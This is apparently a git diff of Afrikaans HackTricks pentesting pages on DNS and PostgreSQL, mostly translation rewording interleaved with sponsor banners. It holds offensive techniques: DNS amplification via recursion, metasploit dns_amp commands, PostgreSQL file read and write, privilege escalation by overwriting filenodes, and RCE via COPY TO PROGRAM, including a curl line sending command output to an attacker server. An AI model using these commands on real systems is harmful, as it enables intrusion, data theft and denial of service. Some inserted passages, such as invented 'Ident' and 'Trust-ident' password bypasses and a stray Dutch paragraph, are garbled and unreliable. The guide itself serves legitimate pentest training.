**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat gaan van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit vanaf enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop en pret te hê.
{% embed url="https://pentest-tools.com/" %}
## **Basiese Inligting**
Die **Domain Name System (DNS)** dien as die internet se gids, wat gebruikers in staat stel om webwerwe te besoek deur **maklik onthoudbare domeinname** soos google.com of facebook.com, eerder as die numeriese Internet Protocol (IP)-adresse. Deur domeinnamen na IP-adresse te vertaal, verseker die DNS dat webblaaie vinnig internetbronne kan laai, wat vereenvoudig hoe ons die aanlynwêreld navigeer.
Die **Domain Name System (DNS)** dien as die internet se gids, wat gebruikers in staat stel om webwerwe te besoek deur **maklik-om-te-onthou domeinname** soos google.com of facebook.com te gebruik, eerder as die numeriese Internet Protocol (IP)-adresse. Deur domeinnamen na IP-adresse te vertaal, verseker die DNS dat webblaaie vinnig internetbronne kan laai, wat vereenvoudig hoe ons die aanlynwêreld navigeer.
**Verstekpoort:** 53
```
@ -33,12 +33,12 @@ PORT STATE SERVICE REASON
```
### Verskillende DNS-bedieners
* **DNS-wortelservers**: Hierdie is bo-aan die DNS-hierargie, wat die topvlakdomeine bestuur en slegs ingryp as laervlakbedieners nie reageer nie. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) hou toesig oor hul werking, met 'n wêreldwye telling van 13.
* **Gesaghebbende Naambedieners**: Hierdie bedieners het die finale sê oor navrae in hul aangewese zones, en bied definitiewe antwoorde. As hulle nie 'n antwoord kan gee nie, word die navraag na die wortelservers geëskaleer.
* **Nie-gesaghebbende Naambedieners**: Sonder eienaarskap oor DNS-zones, versamel hierdie bedieners domeininligting deur navrae aan ander bedieners te rig.
* **Kas-DNS-bediener**: Hierdie tipe bediener onthou vorige navraagantwoorde vir 'n bepaalde tyd om reaksie tye vir toekomstige versoeke te versnel, met die kasduur wat deur die gesaghebbende bediener bepaal word.
* **Deurbestuurder-bediener**: Deurbestuurderservers speel 'n eenvoudige rol deur navrae eenvoudig na 'n ander bediener deur te skakel.
* **Oplosser**: Geïntegreer binne rekenaars of roeteryers, voer oplossers naamoplossing plaaslik uit en word nie as gesaghebbend beskou nie.
* **DNS-wortelbedieners**: Hierdie bedieners is bo-aan die DNS-hierargie, bestuur die topvlakdomeine en tree slegs op as laer-vlak bedieners nie reageer nie. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) hou toesig oor hul werking, met 'n globale telling van 13.
* **Gesaghebbende Naambedieners**: Hierdie bedieners het die finale sê oor navrae in hul aangewese zones, en bied definitiewe antwoorde. As hulle nie 'n antwoord kan gee nie, word die navraag na die wortelbedieners geëskaleer.
* **Nie-gesaghebbende Naambedieners**: Sonder eienaarskap oor DNS-sones, versamel hierdie bedieners domeininligting deur navrae aan ander bedieners te rig.
* **Kas-DNS-bedieners**: Hierdie tipe bediener onthou vorige navraagantwoorde vir 'n bepaalde tyd om reaksie tye vir toekomstige versoeke te versnel, met die kasduur wat deur die gesaghebbende bediener bepaal word.
* **Deurverwysingsbediener**: Deur 'n eenvoudige rol te vervul, stuur deurverwysingsbedieners eenvoudig navrae na 'n ander bediener.
* **Oplosser**: Geïntegreer binne rekenaars of roetetoestelle, voer oplossers naamoplossing plaaslik uit en word nie as gesaghebbend beskou nie.
## Opsomming
@ -49,7 +49,7 @@ Jy kan hierdie navraag uitvoer met behulp van `dig`:
```bash
dig version.bind CHAOS TXT @DNS
```
Verder kan die gereedskap [`fpdns`](https://github.com/kirei/fpdns) ook die bediener vingerafdruk.
Verder kan die gereedskap [`fpdns`](https://github.com/kirei/fpdns) ook die bediener se vingerafdruk identifiseer.
Dit is ook moontlik om die banier ook met 'n **nmap** skrip te gryp:
```
@ -150,13 +150,13 @@ dnsdict6 -s -t <domain>
```
### Bruteforce omgekeerde DNS in met behulp van IPv6-adressen
IPv6-adresse word gebruik om omgekeerde DNS-inligting te verkry deur 'n bruteforce-aanval uit te voer.
Gebruik de tool `dnsrevenum6` van THC-IPv6 om omgekeerde DNS-bruteforce-aanvallen uit te voeren met IPv6-adressen. Deze tool kan worden gebruikt om namen te achterhalen die zijn toegewezen aan IPv6-adressen door het uitvoeren van een bruteforce-aanval op de DNS-server. Het kan handig zijn bij het identificeren van systemen en het verkrijgen van waardevolle informatie tijdens een pentest.
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS Rekursie DDoS
Indien **DNS-rekursie geaktiveer is**, kan 'n aanvaller die **oorsprong** op die UDP-pakket vervals om die **DNS te dwing om die respons na die slagofferserver te stuur**. 'n Aanvaller kan **ENIGE** of **DNSSEC** rekordtipes misbruik aangesien hulle geneig is om groter respons te hê.\
Indien **DNS rekursie geaktiveer is**, kan 'n aanvaller die **oorsprong** op die UDP-pakket vervals om die **DNS te dwing om die respons na die slagofferbediener te stuur**. 'n Aanvaller kan **ENIGE** of **DNSSEC** rekordtipes misbruik aangesien hulle gewoonlik groter responses het.\
Die manier om te **kontroleer** of 'n DNS **rekursie ondersteun**, is om 'n domeinnaam te ondervra en te **kontroleer** of die **vlag "ra"** (_rekursie beskikbaar_) in die respons is:
```bash
dig google.com A @<IP>
@ -169,20 +169,20 @@ dig google.com A @<IP>
![](<../.gitbook/assets/image (276).png>)
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat pop, en pret te hê.
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
### E-pos aan nie-bestaande rekening
Deur die ondersoek van 'n nie-aflewering kennisgewing (NDN) wat deur 'n e-pos gestuur is na 'n ongeldige adres binne 'n teiken domein, word waardevolle interne netwerkdetails dikwels blootgestel.
Deur die ondersoek van 'n nie-lewering kennisgewing (NDN) wat deur 'n e-pos gestuur is na 'n ongeldige adres binne 'n teiken domein, word waardevolle interne netwerkdetails dikwels blootgestel.
Die verskafte nie-aflewering verslag sluit inligting in soos:
Die verskafte nie-lewering verslag sluit inligting in soos:
* Die genererende bediener is geïdentifiseer as `server.example.com`.
* 'n Mislukkingskennisgewing vir `user@example.com` met die foutkode `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` is terugbesorg.
* 'n Foutkennisgewing vir `user@example.com` met die foutkode `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` is terugbesorg.
* Interne IP-adresse en gasheernames is blootgestel in die oorspronklike boodskopkoppe.
```markdown
The original message headers were modified for anonymity and now present randomized data:
@ -229,7 +229,7 @@ Gevaarlike instellings wanneer 'n Bind-bediener gekonfigureer word:
## Verwysings
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
* Boek: **Network Security Assessment 3rd edition**
* Boek: **Network Security Assessment 3de uitgawe**
## HackTricks Outomatiese Opdragte
```
@ -284,9 +284,9 @@ Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
```
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit vanaf enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat pop en pret te hê.
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit vanaf enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat pop en pret te hê.
{% embed url="https://pentest-tools.com/" %}
@ -298,8 +298,8 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,24 +1,24 @@
# 5432,5433 - Pentesting Postgresql
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
@ -26,12 +26,12 @@ Ander maniere om HackTricks te ondersteun:
**PostgreSQL** word beskryf as 'n **objek-relasionele databasisstelsel** wat **oorspronklik** is. Hierdie stelsel maak nie net gebruik van die SQL-taal nie, maar verbeter dit ook met addisionele kenmerke. Sy vermoëns stel dit in staat om 'n wye verskeidenheid data-tipes en operasies te hanteer, wat dit 'n veelsydige keuse maak vir ontwikkelaars en organisasies.
**Verstekpoort:** 5432, en as hierdie poort reeds in gebruik is, lyk dit asof postgresql die volgende poort (waarskynlik 5433) sal gebruik wat nie in gebruik is nie.
**Verstekpoort:** 5432, en as hierdie poort reeds in gebruik is, lyk dit asof postgresql die volgende poort sal gebruik (waarskynlik 5433) wat nie in gebruik is nie.
```
PORT STATE SERVICE
5432/tcp open pgsql
```
## Verbind & Basiese Enum
## Koppel & Basiese Enum
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
@ -119,25 +119,26 @@ the server terminated abnormally before or while processing the request
PostgreSQL kan geënumereer word deur die volgende stappe te volg:
1. **Port Scanning**: Skandeer vir die PostgreSQL-diens op poort 5432.
2. **Banner Grabbing**: Gebruik `telnet` of `nmap` om die PostgreSQL-diens se banner te ondersoek.
3. **Version Detection**: Identifiseer die weergawe van PostgreSQL wat uitgevoer word.
1. **Port Scanning**: Identifiseer die poort waarop PostgreSQL hardloop.
2. **Banner Grabbing**: Kry inligting oor die PostgreSQL-diens deur 'n banner grabbing-aanval uit te voer.
3. **Version Detection**: Identifiseer die weergawe van PostgreSQL wat hardloop om te bepaal of daar enige bekende kwessies is wat uitgebuit kan word.
#### PostgreSQL Authentication Bypass
Om die PostgreSQL-databasis sonder 'n wagwoord binne te dring, kan jy die volgende metodes gebruik:
1. **Ident-protokol**: Hierdie protokol maak dit moontlik om sonder 'n wagwoord aan te meld, maar dit is slegs beskikbaar vir die supergebruiker.
2. **Trust-ident-protokol**: Hierdie protokol staan alle gebruikers op die bediener toe om sonder 'n wagwoord aan te meld.
#### PostgreSQL Exploitation
Potensiële aanvalle teen PostgreSQL sluit in:
As jy 'n kwesbaarheid in PostgreSQL vind, kan jy dit uitbuit deur die volgende stappe te volg:
1. **Brute Force-aanvalle**: Probeer standaardgebruikersname en wagwoorde.
2. **SQL Injection**: Exploiteer swak SQL-navrae om toegang te verkry.
3. **Backdoor-toegang**: Skep 'n agterdeur om toegang te behou.
1. **Verkryg van Toegang**: Kry toegang tot die PostgreSQL-databasis deur die kwesbaarheid uit te buit.
2. **Uitvoering van Bevel**: Voer bevele uit om verdere toegang tot die stelsel te verkry.
3. **Data Exfiltration**: Steel sensetiewe data uit die databasis vir verdere aanvalle of ekstorsie.
#### PostgreSQL Security Best Practices
Om PostgreSQL te beveilig, moet die volgende maatreëls getref word:
1. **Sterk wagwoordbeleid**: Vereis lang en unieke wagwoorde.
2. **Beperk toegang**: Stel toegangsbeheer in om slegs geautoriseerde gebruikers toe te laat.
3. **Verseker dat sagteware opgedateer word**: Installeer gereeld opdaterings en patches vir PostgreSQL.
Deur hierdie tegnieke te gebruik, kan jy die veiligheid van PostgreSQL-databasisse toets en verbeter.
```
DETAIL: FATAL: password authentication failed for user "name"
```
@ -146,9 +147,9 @@ DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te verkry nie. Indien jy egter direkte toegang tot die PostgreSQL-bediener het, kan jy die nodige inligting terugwin. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordelysaanvalmetode wat bespreek is in die vorige afdeling, te gebruik, aangesien dit moontlik positiewe resultate kan oplewer.
In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te verkry nie. Indien jy egter direkte toegang tot die PostgreSQL-bediener het, kan jy die nodige inligting terugkry. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordelysaanvalsmetode wat bespreek is in die vorige afdeling, te gebruik, aangesien dit moontlik positiewe resultate kan oplewer.
## Opsomming van Voorregte
## Enumerasie van Voorregte
### Rolle
@ -159,13 +160,13 @@ In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te v
| rolcreaterole | Rol kan meer rolle skep |
| rolcreatedb | Rol kan databasisse skep |
| rolcanlogin | Rol kan aanmeld. Dit beteken dat hierdie rol as die aanvanklike sessie-outorisasie-identifiseerder gegee kan word |
| rolreplication | Rol is 'n replikasie rol. 'n replikasie rol kan replikasieverbindinge inisieer en replikasieslotte skep en laat val |
| rolconnlimit | Vir rolle wat kan aanmeld, stel dit die maksimum aantal gelyktydige verbindinge in wat hierdie rol kan maak. -1 beteken geen limiet. |
| rolreplication | Rol is 'n replikasie rol. 'n Replikasie rol kan replikasieverbindinge inisieer en replikasieslotte skep en laat val |
| rolconnlimit | Vir rolle wat kan aanmeld, stel dit die maksimum aantal gelyktydige verbindinge in wat hierdie rol kan maak. -1 beteken geen limiet |
| rolpassword | Nie die wagwoord nie (lees altyd as `********`) |
| rolvaliduntil | Wagwoordvervaltyd (slegs gebruik vir wagwoordverifikasie); nul indien geen verval |
| rolbypassrls | Rol verbygaan elke ryvlak-sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting. |
| rolconfig | Rol-spesifieke verstekwaardes vir hardlooptydkonfigurasie-veranderlikes |
| oid | ID van rol |
| rolbypassrls | Rol verbygaan elke ryvlak-sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting |
| rolconfig | Rol-spesifieke verstekwaardes vir hardlooptydkonfigurasie-veranderlikes |
| oid | ID van rol |
#### Interessante Groepe
@ -265,10 +266,13 @@ COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Onthou dat as jy nie 'n supergebruiker is nie, maar **CREATEROLE**-permissies het, kan jy **jouself lid van daardie groep maak:**
Onthou dat as jy nie 'n supergebruiker is nie, maar die **CREATEROLE**-permissies het, kan jy **jouself lid van daardie groep maak:**
```sql
GRANT pg_read_server_files TO username;
```
[**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Daar is **ander postgres-funksies** wat gebruik kan word om **'n lêer te lees of 'n gids te lys**. Slegs **supergebruikers** en **gebruikers met uitdruklike toestemmings** kan hulle gebruik:
```sql
# Before executing these function go to the postgres DB (not in the template1)
@ -306,14 +310,14 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
{% endcode %}
{% hint style="warning" %}
Onthou dat as jy nie 'n supergebruiker is nie, maar die **`CREATEROLE`**-permissies het, kan jy **jouself lid van daardie groep maak:**
Onthou dat as jy nie 'n supergebruiker is nie, maar wel die **`CREATEROLE`**-permissies het, kan jy **jouself lid van daardie groep maak:**
```sql
GRANT pg_write_server_files TO username;
```
[**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Onthou dat KOPIE nie nuwe lynkarakters kan hanteer nie, daarom moet jy selfs as jy 'n base64-lading gebruik 'n eenlynstuk stuur. 'n Baie belangrike beperking van hierdie tegniek is dat `copy` nie gebruik kan word om binêre lêers te skryf nie omdat dit sommige binêre waardes wysig.
Onthou dat KOPIE nie nuwe lynkarakters kan hanteer nie, daarom moet jy selfs as jy 'n base64-lading gebruik 'n eenlyn-stuk stuur. 'n Baie belangrike beperking van hierdie tegniek is dat `copy` nie gebruik kan word om binêre lêers te skryf nie omdat dit sommige binêre waardes wysig.
### Oplaai van binêre lêers
@ -325,36 +329,36 @@ Daar is egter ander tegnieke om groot binêre lêers op te laai:
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
**Bugsbounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bugsbounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
{% embed url="https://go.intigriti.com/hacktricks" %}
### Opdatering van PostgreSQL tabeldata via plaaslike lêerskryf
### Opdatering van PostgreSQL tabeldata via plaaslike lêer skryf
As jy die nodige regte het om PostgreSQL-bedienerlêers te lees en te skryf, kan jy enige tabel op die bediener opdateer deur die geassosieerde lêernode te **owerwrite** in [die PostgreSQL data-gids](https://www.postgresql.org/docs/8.1/storage.html). **Meer oor hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
As jy die nodige regte het om PostgreSQL bedienerlêers te lees en te skryf, kan jy enige tabel op die bediener opdateer deur die geassosieerde lêernode te oorskryf in [die PostgreSQL data gids](https://www.postgresql.org/docs/8.1/storage.html). **Meer oor hierdie tegniek** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Vereiste stappe:
1. Kry die PostgreSQL data-gids
1. Kry die PostgreSQL data gids
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Nota:** As jy nie die huidige data-gids vanaf instellings kan kry nie, kan jy die hoof PostgreSQL-weergawe deur die `SELECT version()`-navraag kry en probeer om die pad te brute force. Gewone data-gidspaaie op Unix-installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Gewone klasternaam is `main`.
2. Kry 'n relatiewe pad na die filenode wat geassosieer is met die teikentabel
**Nota:** As jy nie die huidige data gids pad vanaf instellings kan kry nie, kan jy die hoof PostgreSQL weergawe deur die `SELECT version()` navraag kry en probeer om die pad te brute force. Gewone data gids paaie op Unix installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Gewone cluster naam is `main`.
2. Kry 'n relatiewe pad na die lêernode, geassosieer met die teikentabel
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
Hierdie navraag behoort iets soos `base/3/1337` terug te gee. Die volledige pad op skyf sal wees `$DATA_DIRECTORY/base/3/1337`, m.a.w. `/var/lib/postgresql/13/main/base/3/1337`.
3. Laai die filenode af deur die `lo_*`-funksies
3. Laai die lêernode af deur die `lo_*` funksies
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. Kry die datatipe wat geassosieer is met die teikentabel
4. Kry die datatipe, geassosieer met die teikentabel
```sql
SELECT
@ -375,33 +379,33 @@ JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die filenode te wysig](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` booleaanse vlae in op 1 vir volle regte.
5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die lêernode te wysig](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` booleaanse vlae na 1 vir volle regte.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
6. Laai die gewysigde filenode weer op deur die `lo_*`-funksies, en oorskryf die oorspronklike lêer op die skyf
6. Laai die gewysigde lêernode weer op deur die `lo_*` funksies, en oorskryf die oorspronklike lêer op die skyf
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
7. _(Opsioneel)_ Maak die in-memory tabelkassie skoon deur 'n duur SQL-navraag uit te voer
7. _(Opsioneel)_ Maak die in-memory tabelkassie skoon deur 'n duur SQL navraag uit te voer
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
8. Jy behoort nou opgedateerde tabelwaardes in die PostgreSQL te sien.
Jy kan ook 'n superadmin word deur die `pg_authid`-tabel te wysig. **Sien** [**die volgende afdeling**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
Jy kan ook 'n superadmin word deur die `pg_authid` tabel te wysig. **Sien** [**die volgende afdeling**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
## RCE
### **RCE na program**
Vanaf [weergawe 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), kan slegs **supergebruikers** en lede van die groep **`pg_execute_server_program`** `copy` gebruik vir RCE (voorbeeld met eksfiltrering:
Vanaf [weergawe 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), kan slegs **supergebruikers** en lede van die groep **`pg_execute_server_program`** kopie vir RCE gebruik (voorbeeld met eksfiltrering:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@ -437,7 +441,7 @@ Meer inligting oor hierdie kwesbaarheid [**hier**](https://medium.com/greenwolf-
### RCE met PostgreSQL-uitbreidings
Nadat jy uit die vorige pos geleer het **hoe om binêre lêers te oplaai**, kan jy probeer om **RCE te verkry deur 'n postgresql-uitbreiding op te laai en dit te laai**.
Nadat jy **geleer** het van die vorige pos **hoe om binêre lêers te oplaai**, kan jy probeer om **RCE te verkry deur 'n postgresql-uitbreiding op te laai en dit te laai**.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
@ -460,7 +464,7 @@ Meer inligting [oor hierdie tegniek hier](https://pulsesecurity.co.nz/articles/p
Die konfigurasie-lêer het 'n paar interessante eienskappe wat tot RCE kan lei:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Pad na die privaatsleutel van die databasis
* `ssl_passphrase_command = ''` As die privaat lêer deur 'n wagwoord beskerm word (geënkripteer) sal postgresql die opdrag aangedui in hierdie eienskap **uitvoer**.
* `ssl_passphrase_command = ''` As die privaatsleutel deur 'n wagwoord beskerm word (geënkripteer) sal postgresql **die opdrag uitvoer wat in hierdie eienskap aangedui word**.
* `ssl_passphrase_command_supports_reload = off` **Indien** hierdie eienskap **aan** is, sal die **opdrag** uitgevoer word as die sleutel deur 'n wagwoord beskerm word wanneer `pg_reload_conf()` **uitgevoer** word.
Dan sal 'n aanvaller moet:
@ -501,13 +505,13 @@ Hierdie aanvalvektor maak gebruik van die volgende konfigurasie-veranderlikes:
* `session_preload_libraries` -- biblioteke wat deur die PostgreSQL-bedienaar by die kliëntverbinding gelaai sal word.
* `dynamic_library_path` -- lys van gids waar die PostgreSQL-bedienaar vir die biblioteke sal soek.
Ons kan die `dynamic_library_path`-waarde instel op 'n gids wat deur die `postgres`-gebruiker wat die databasis hardloop, skryfbaar is, bv., `/tmp/`-gids, en 'n skadelike `.so`-voorwerp daar oplaai. Vervolgens sal ons die PostgreSQL-bedienaar dwing om ons nuut opgelaaide biblioteek te laai deur dit in die `session_preload_libraries`-veranderlike in te sluit.
Ons kan die `dynamic_library_path`-waarde instel op 'n gids wat deur die `postgres`-gebruiker wat die databasis hardloop, skryfbaar is, byvoorbeeld die `/tmp/`-gids, en 'n skadelike `.so`-voorwerp daar oplaai. Vervolgens sal ons die PostgreSQL-bedienaar dwing om ons nuut opgelaaide biblioteek te laai deur dit in die `session_preload_libraries`-veranderlike in te sluit.
Die aanvalstappe is:
1. Laai die oorspronklike `postgresql.conf` af
2. Sluit die `/tmp/`-gids in die `dynamic_library_path`-waarde in, bv. `dynamic_library_path = '/tmp:$libdir'`
